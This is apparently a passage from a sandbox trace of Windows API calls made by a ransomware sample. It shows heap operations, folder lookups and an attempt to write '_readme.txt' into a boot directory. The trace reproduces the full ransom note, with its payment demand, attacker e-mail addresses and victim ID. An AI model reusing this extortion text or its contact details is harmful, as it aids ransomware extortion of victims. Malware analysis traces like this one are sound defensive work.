returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.524] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.524] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.525] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.525] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.526] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.526] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.526] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.526] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.526] PathFindFileNameW (pszPath="") returned="" [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.526] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.526] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.526] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.526] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.527] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.527] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.527] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0111.527] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.527] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.527] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0111.527] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.528] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.528] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.528] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.528] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.528] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.528] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.528] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.528] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.528] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.528] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.529] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.529] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.529] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.530] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.530] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.530] RtlAllocateHeap 